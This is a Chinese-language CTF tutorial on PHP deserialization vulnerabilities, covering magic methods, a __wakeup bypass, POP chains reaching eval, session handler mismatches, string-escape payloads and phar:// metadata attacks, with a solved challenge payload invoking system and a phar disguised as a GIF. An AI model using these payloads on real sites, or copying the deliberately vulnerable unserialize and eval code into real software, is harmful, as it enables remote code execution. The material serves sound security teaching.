您好,登錄后才能下訂單哦!
這篇文章給大家介紹CTF中常出現的PHP反序列化漏洞有哪些,內容非常詳細,感興趣的小伙伴們可以參考借鑒,希望對大家能有所幫助。
PHP序列化是一種把變量或對象以字符串形式轉化以方便儲存和傳輸的方法
在PHP中,序列化用于存儲或傳遞 PHP 的值的過程中,同時不丟失其類型和結構。
比方來說,我現在有一個類,我需要通過接口進行數據傳輸,或存儲至數據庫中以備將來使用,同時又想保持其結構,讓接收方接收或數據庫讀數據時恢復其原來的結構,就需要通過序列化將對象按照一定格式轉化為字符串的形式來進行傳輸
簡單來說,就是用字符串儲存數據,同時包含其數據類型以及結構信息
序列化函數:
serialize(object);
PHP反序列化就是把被序列化的對象字符串轉義為具體的對象。
反序列化函數:
unserialize(object)
舉個簡單的例子:
<?php Class user { public $username; function __construct($username) { $this->username=$username; } } $a=new user('Bob'); $s=serialize($a); echo $s; //輸出 O:4:"user":1:{s:8:"username";s:3:"Bob";} ?>
其中O代表object對象類型
4是類名的長度
"user"是類名
1是對象內屬性的個數
s:8:"username"表示屬性為字符串格式username為屬性名 長度為8
s:3:"Bob"是屬性的值
php中屬性的共有類型共有三種:public protected private
被這三種修飾過的變量在序列化后有不同的格式
public 正常序列化
protected
%00
*%00
變量名private
%00
變量名%00
在復制payload時要注意手動輸入%00
什么是魔術方法?官方文檔中是這么說的
__construct(), __destruct(), __call(), __callStatic(), __get(), __set(), __isset(), __unset(), __sleep(), __wakeup(), __serialize(), __unserialize(), __toString(), __invoke(), __set_state(), __clone()和 __debugInfo()等方法在 PHP 中被稱為魔術方法(Magic methods)。在命名自己的類方法時不能使用這些方法名,除非是想使用其魔術功能。
注意:所有的魔術方法 必須聲明為
public
警告:PHP 將所有以 __(兩個下劃線)開頭的類方法保留為魔術方法。所以在定義類方法時,除了上述魔術方法,建議不要以 __ 為前綴。
在php反序列化利用中常常用到一下這些魔術方法
__construct() //當一個對象創建時被調用 __destruct() //當一個對象銷毀時被調用 __toString() //當一個對象被當作一個字符串使用 __sleep() //在對象被序列化之前運行 __wakeup() //在對象被反序列化之后被調用 __call() //當要調用的方法不存在或權限不足時自動調用 __get() //需要調用私有屬性時自動調用
這些方法都是在對象的生成、解析、序列化反序列化和調用時被調用。如果其中的屬性可以被外部所利用,具有相當的危險性。
這些魔術方法的具體理解附在文章最后
PHP反序列化漏洞又稱PHP對象注入,主要成因就是在處理反序列化數據中處理不當導致的危險代碼執行
舉一個簡單的例子
[NPUCTF2020]ReadlezPHP
<?php #error_reporting(0); class HelloPhp { public $a; public $b; public function __construct(){ $this->a = "Y-m-d h:i:s"; $this->b = "date"; } public function __destruct(){ $a = $this->a; $b = $this->b; echo $b($a); } } $c = new HelloPhp; if(isset($_GET['source'])) { highlight_file(__FILE__); die(0); } @$ppp = unserialize($_GET["data"]);
類_HelloPhp_擁有兩個魔術方法,在__destruct
方法中,使用成員變量$a
作為參數$b
作為變量函數名執行代碼
在代碼最后接收GET參數并進行反序列化
這道題很簡單,我們只需要通過構造$a
與$b
組成危險代碼,然后構造HelloPhp類的序列化對象即可
構造payload:
<?php #error_reporting(0); class HelloPhp { public $a="cat /flag"; public $b="system"; } $c = new HelloPhp; echo serialize($c); #輸出: O:8:"HelloPhp":2:{s:1:"a";s:9:"cat /flag";s:1:"b";s:6:"system";}
影響版本
PHP5 < 5.6.25
PHP7 < 7.0.10
漏洞描述
當序列化字符串對象屬性數量大于實際的屬性數量時,將不會調用__wakeup函數
舉個例子:
<?php class score { public $name; public $score; public $grade; function __wakeup() { $this->name='Bob'; } function __destruct() { echo $this->name; } } if(isset($_GET['s'])) { $s=$_GET['s']; unserialize($s); } ?>
上述的例子中有一個score類,并且接受GET參數s。
我們假設這個例子中的s參數接受的是序列化的score對象,我們無論將屬性name賦為什么值,結果都會被__wakeup函數給改為Bob。
但是如果我們可以繞過__wakeup函數,就可以將name屬性改成我們想要的任何值。
剛才我們傳的參數s是
O:5:"score":2:{s:4:"name";s:4:"john";s:5:"score";s:4:"1000";}
改成:
O:5:"score":1:{s:4:"name";s:4:"john";s:5:"score";s:4:"1000";}
即可實現控制輸出的內容,從而繞過__wakeup函數
看下面這個例子:
<?php class A{ var $target; function __construct(){ $this->target=new B; } function __destruct(){ $this->target->action(); } } class B{ function action(){ echo "action B"; } } class C{ var $test; function action(){ echo "action C"; eval($this->test); } } unserialize($_GET['test']);
在這個例子中class B和class C有一個同名方法action
,class A中在__construct時創建了一個class B并在__destruct時調用了其action方法,我們可以構造目標對象,使得解構函數調用class C的action方法,實現任意代碼執行。
<?php class A{ var $target; function __construct(){ $this->target=new C; $this->target->test='phpinfo'; } function __destruct(){ $this->target->action(); } } class C{ var $test; function action(){ echo "action C"; eval($this->test); } } $a=new A; echo serialize($a);#O:1:"A":1:{s:6:"target";O:1:"C":1:{s:4:"test";s:10:"phpinfo();";}}
在php中session值經序列化后儲存,讀取時再進行反序列化操作
在php.ini中有這么幾項配置:
session.save_path="" //設置session的存儲路徑 也就是服務器上實際儲存session的位置 session.save_handler=""//設定用戶自定義存儲函數,如果想使用PHP內置會話存儲機制之外的方法可以使用本函數(數據庫等方式) session.auto_start boolen //指定會話模塊是否在請求開始時啟動一個會話默認為0不啟動 session.serialize_handler string//定義用來序列化/反序列化的處理器名字。默認使用php
serialize_handler的值決定了php儲存session數據的方式,共有三種:
serializer | 實現方法 |
---|---|
php | 鍵名 + 豎線 + 經過 serialize() 函數反序列處理的值 |
php_binary | 鍵名的長度對應的 ASCII 字符 + 鍵名 + 經過 serialize() 函數反序列處理的值 |
php_serialize(php>5.5.4) | 把整個$_SESSION 數組作為一個數組序列化 |
session序列化后需要儲存在服務器上,默認的方式是儲存在文件中,儲存路徑在session.save_path
中,如果沒有規定儲存路徑,那么默認會在儲存在/tmp
中,文件的名稱是’sess_’+session名,文件中儲存的是序列化后的session。
php儲存session的示例:
<?php seesion_start(); if(isset($_GET['test'])){ $_SESSION['test']=$_GET['test']; echo session_id(); } ?>
訪問該頁面后
session儲存在session.save_path
下,文件名為sess_
+session_id
,文件內容為session數據
這是session.serialize_handler=php
模式的session值
這是session.serialize_handler=php_binary
模式的session值
這是session.serialize_handler=php_serialize
模式的session值
Php session反序列化產生的漏洞就在于同一服務中session處理器設置(session.serialize_handler
)出現了不同一
通過如下的例子理解:
<?php #test1.php ini_set("session.serialize_handler", 'php'); session_start(); class A{ var $a; function __wakeup(){ eval($this->a); } } ?>
在test1.php頁面中有一個危險類A ,序列化處理器為php
<?php #session.php ini_set('session.serialize_handler', 'php_serialize'); session_start(); if(isset($_GET['test'])){ $_SESSION['test']=$_GET['test']; echo session_id(); } ?>
在session.php中接受用戶傳入的參數并儲存至session中,序列化處理器為php_serialize
先來看生成payload:
<?php class A{ var $a="phpinfo();"; /*function __wakeup(){ eval($this->a); }*/ } $d=new A; echo serialize($d); //輸出: O:1:"A":1:{s:1:"a";s:10:"phpinfo();";} ?>
payload為|O:1:"A":1:{s:1:"a";s:10:"phpinfo();";}
我們以此為參傳入session.PHP
由于session.php的序列化處理器為php_serialize,因此儲存至文件中的序列化數據形成了如上圖的內容,而當被test1.php使用反序列化處理器php讀取時,由于讀取格式的不同 豎線前的內容將會被作為鍵值讀取,而之后的內容會被作為序列化數據從而被反序列化:
因此在訪問test1.php頁面時引發了反序列化的session值產生了一個危險類A的對象并執行了危險代碼:
在理解了php反序列化后你就能知道字符串逃逸本質上是閉合,類似于sql注入中利用分號或者引號來閉合語句。反序列化字符串逃逸也是利用php對序列化字符串解析的特性來進行攻擊。
在反序列化時,序列化的值是以分號作為分隔,在結尾以}為結束。我們看一個例子:
<?php class people{ public $name = 'Tom'; public $sex = 'boy'; public $age = '12'; } $a = new people(); print_r(serialize($a)); ?>
運行結果:
O:6:"people":3:{s:4:"name";s:3:"Tom";s:3:"sex";s:3:"boy";s:3:"age";s:2:"12";}
反序列化的過程就是當碰到與{最接近的;}時完成匹配并停止解析,我們將上列反序列化結果的結尾加上一些無意義的字符串并反序列化。
O:6:"people":3:{s:4:"name";s:3:"Tom";s:3:"sex";s:3:"boy";s:3:"age";s:2:"12";}123123
經過反序列化后:
可以看到我們在結尾添加的123123并沒有影響反序列化,程序沒有報錯解析結果也沒有問題。這說明上述的原理是正確的。
但是當我修改字符串長度的數值時,我們來看看反序列化還能否正常解析,例如我將s:2:"12"
改為s:3:"12"
:
O:6:"people":3:{s:4:"name";s:3:"Tom";s:3:"sex";s:3:"boy";s:3:"age";s:3:"12";}
php報錯:
PHP Notice: unserialize(): Error at offset 75 of 77 bytes in /Users/oriole/WorkSpace/www/html/index.php on line 16
實際上,在解析字符串的過程中,當字符串長度與反序列化描述不同時php將報錯,換一種說法:php將按照反序列化字符串定義的長度讀取字符串,當引號內的定義長度的字符串在讀取時未讀取至末尾引號之前的字符、或超越了末尾引號進行讀取時就會報錯。
因為這種報錯的存在,字符串逃逸分為兩種:
1.關鍵字增多
2.關鍵字減少
在題目中,往往對一些關鍵字會進行一些過濾,使用的手段通常替換關鍵字,使得一些關鍵字增多,簡單認識一下,正常序列化查看結果。
<?php show_source(__FILE__); $a=array("username"=>"Tom","age"=>"13"); $b=serialize($a); echo $b; echo "<br/>"; $c=preg_replace('/o/',"oo",$b); echo $c."<br/>"; print_r(unserialize($c)); ?>
輸出:
a:2:{s:8:"username";s:3:"Tom";s:3:"age";s:2:"13";} a:2:{s:8:"username";s:3:"Toom";s:3:"age";s:2:"13";} PHP Notice: unserialize(): Error at offset 28 of 51 bytes in /Users/oriole/WorkSpace/www/html/index.php on line 11
在上述代碼中,未反序列化的序列化字符串中的所有o將被替換為oo,這必然破壞了序列化字符串原有的規則,因而必然引起報錯,而我們的目的就是構造字符串使其不要引起報錯,為了更易理解,我們增加一個需求:age字段修改為35。
Payload:
a:2:{s:8:"username";s:44:"oooooooooooooooooooooo";s:3:"age";s:2:"35";}";s:3:"age";s:2:"13";}
原理:在經過preg_replace以后,每個o都會被替換為oo,比如說我們傳入s:3:"Tom"
會被替換為s:3:"Toom"
,這樣必然報錯。我們要做的就是讓這個字符串在增長以后真的有它描述的那么長,同時達到我們將age字段修改為35的目的。
而實現這一目的的方法就是**使反序列化結構包含在這一字符串內,當字符串經過替換后,使其長度等于原來包含反序列化結構的字符串長度,從而使之正常被作為字符串解析的同時使包含在字符串內的反序列化結構被php識別為反序列化結構進行解析,同時冗余的反序列化結構(也就是完整{;}結構以外的)被遺棄。**可能乍一看難以理解,可以選擇再仔細理解一下基礎思想或繼續向下看構造payload的每一個過程。
我們還以上述代碼為例,我們需要在字符串中構造一個反序列化結構同時還要達到在替換后閉合前側字符串的目的:";s:3:"age";s:2:"35";}
,而這一反序列化結構的長度是22:
也就是說我們需要22個字符來代替其位置,每一個o會被替換為oo也就是增加一個字符,也就是說我們需要22個o來增加22個字符的長度。
因此我們將22個字符長度的oooooooooooooooooooooo
與";s:3:"age";s:2:"35";}
組成username變量的值,我們將其序列化后得到:
a:2:{s:8:"username";s:44:"oooooooooooooooooooooo";s:3:"age";s:2:"35";}";s:3:"age";s:2:"13";}
在被preg_replace替換后,長度為22的oooooooooooooooooooooo
變為長度為44的oooooooooooooooooooooooooooooooooooooooooooo
,整個反序列化的payload也變為:
a:2:{s:8:"username";s:44:"oooooooooooooooooooooooooooooooooooooooooooo";s:3:"age";s:2:"35";}";s:3:"age";s:2:"13";}
當PHP反序列化這個payload時s:8:"username";s:44:"oooooooooooooooooooooooooooooooooooooooooooo";
將被作為整體解析,而";s:3:"age";s:2:"35";}
在最前面的引號與分號閉合了前面的變量后的s:3:"age";s:2:"35";}
也會被正常解析。而因為已經滿足了完整的{;}
結構";s:3:"age";s:2:"13";}
將被遺棄而不被解析。
因而可以看到如下的反序列化結果:
Array ( [username] => oooooooooooooooooooooooooooooooooooooooooooo [age] => 35 )
這就完成了一次成功的‘逃逸’。
如果上述內容理解的還可以,那么關鍵字減少的部分理解起來不會很難。和關鍵字增多的區別在于通常會把需要反序列化的結構放在關鍵字增多中冗余拋棄的那一部分,而關鍵字增多這一部分中我們希望通過關鍵字符串增多而解析的反序列化結構在關鍵字減少中需要因字符串長度變化而成為關鍵字符串的一部分從而不被解析。
和關鍵字增多的例子相似:
<?php show_source(__FILE__); $a=array("username"=>"Zoo","age"=>"15"); $b=serialize($a); echo $b; echo "<br/>"; $c=preg_replace('/oo/',"o",$b); echo $c."<br/>"; print_r(unserialize($c)); ?>
在這一個例子里oo會被替換為o,假設我們的目的仍然是將age的值改為35。
payload:
a:2:{s:8:"username";s:44:"oooooooooooooooooooooooooooooooooooooooooooo";s:3:"age";s:2:"15";}";s:3:"age";s:2:"35";}
可以看到age被改為了35。
實現這一目的的原理和關鍵字增多類似:;s:3:"age";s:2:"15";}
長度是22,我們構造44個o來作為username的值,然后將我們需要更改的反序列化結構;s:3:"age";s:2:"35";}
放在最后面,經過preg_replace替換后o的數量變為22,而username所定義的長度為44,這時php會將;s:3:"age";s:2:"15";}
這22個字符一并作為username的一部分進行讀取,而后我們后面部分只要閉合的好,就會被作為正常的反序列化結構進行解析,從而達到逃逸的目的。
Phar (“Php ARchive”) 是PHP里類似于JAR的一種打包文件。如果你使用的是 PHP 5.3 或更高版本,那么Phar后綴文件是默認開啟支持的,你不需要任何其他的安裝就可以使用它。而Phar文件中也存在反序列化的利用點:phar文件會以序列化的形式儲存用戶自定義的meta-data,在執行Phar文件時meta-data中用戶自定義的元數據將被反序列化從而達到反序列化攻擊的目的,這也擴展了PHP反序列化攻擊的攻擊面
這一利用出自2018年Blackhat大會上的Sam Thomas分享的File Operation Induced Unserialization via the「phar://」Stream Wrapper這個議題,具體可以看這里【傳送門】。(From Freebuff)
該方法在文件系統函數(file_exists()、is_dir()等)參數可控的情況下,配合phar://偽協議,可以
不依賴unserialize()直接進行反序列化操作。
在CTF中常結合文件上傳,任意文件讀,反序列化POP鏈構造考察 難度中高
可以理解為一個標志,格式為xxx<?php xxx; __HALT_COMPILER();?>
,前面內容不限,但必須以__HALT_COMPILER();?>
來結尾,否則phar擴展將無法識別這個文件為phar文件。
phar文件本質上是一種壓縮文件,其中每個被壓縮文件的權限、屬性等信息都放在這部分。這部分還會以序列化的形式存儲用戶自定義的meta-data,這是上述攻擊手法最核心的地方。
被壓縮文件的內容。
簽名,放在文件末尾,格式如下:
根據文件結構我們來自己構建一個phar文件,php內置了一個Phar類來處理相關操作。
注意:要將php.ini中的phar.readonly
選項設置為Off
,否則無法生成phar文件。
<?php #phar_gen.php class TestObject { var $a = 'a'; var $b = 'b'; } @unlink("phar.phar"); $phar = new Phar("phar.phar"); //后綴名必須為phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //設置stub $o = new TestObject(); $phar->setMetadata($o); //將自定義的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要壓縮的文件 //簽名自動計算 $phar->stopBuffering(); ?>
通過hex可以看到數據確實是經序列化儲存在文件中
有序列化數據必然會有反序列化操作,php一大部分的文件系統函數在通過phar://
偽協議解析phar文件時,都會將meta-data進行反序列化,測試后受影響的函數如下:
看一下PHP的底層邏輯:
php-src/ext/phar/phar.c
通過一個小例子驗證剛才生成的phar文件
<?php class TestObject { var $a = 'a'; var $b = 'b'; function __destruct(){ echo "Destruct!"; } } $filename = 'phar://phar.phar/test.txt'; file_get_contents($filename); ?>
其他文件操作函數也是可行的:
<?php class TestObject { var $a = 'a'; var $b = 'b'; function __destruct(){ echo "Destruct!"; } } $filename = 'phar://phar.phar/random_strings'; file_exists($filename); ?>
當文件系統函數的參數可控時,我們可以在不調用unserialize()的情況下進行反序列化操作,一些之前看起來“人畜無害”的函數也變得“暗藏殺機”,極大的拓展了攻擊面。
在前面分析phar的文件結構時可能會注意到,php識別phar文件是通過其文件頭的stub,更確切一點來說是__HALT_COMPILER();?>
這段代碼,對前面的內容或者后綴名是沒有要求的。那么我們就可以通過添加任意的文件頭+修改后綴名的方式將phar文件偽裝成其他格式的文件。
<?php class TestObject { } @unlink("phar.phar"); $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //設置stub,增加gif文件頭 $o = new TestObject(); $phar->setMetadata($o); //將自定義meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要壓縮的文件 //簽名自動計算 $phar->stopBuffering(); ?>
1.__construct()
實例化對象時被調用, 當__construct和以類名為函數名的函數同時存在時,__construct將被調用,另一個不被調用。
注意:通過反序列化產生的對象并不會調用__construct函數
2.__destruct()
當刪除一個對象或對象操作終止時被調用。常用
3.__call()
對象調用某個方法, 若方法存在,則直接調用;若不存在,則會去調用__call函數。
4.__get()
讀取一個對象的屬性時,若屬性存在,則直接返回屬性值; 若不存在,則會調用__get函數。
5.__set()
設置一個對象的屬性時, 若屬性存在,則直接賦值;
若不存在,則會調用__set函數。
6.__toString()
打印一個對象的時被調用。如echo obj;或printobj;或printobj;
7.__clone()
克隆對象時被調用。如:t=newTest();t=newTest();t1=clone $t;
8.__sleep()
serialize之前被調用。若對象比較大,想刪減一點東東再序列化,可考慮一下此函數。
9.__wakeup()
unserialize時被調用,做些對象的初始化工作。
關于CTF中常出現的PHP反序列化漏洞有哪些就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。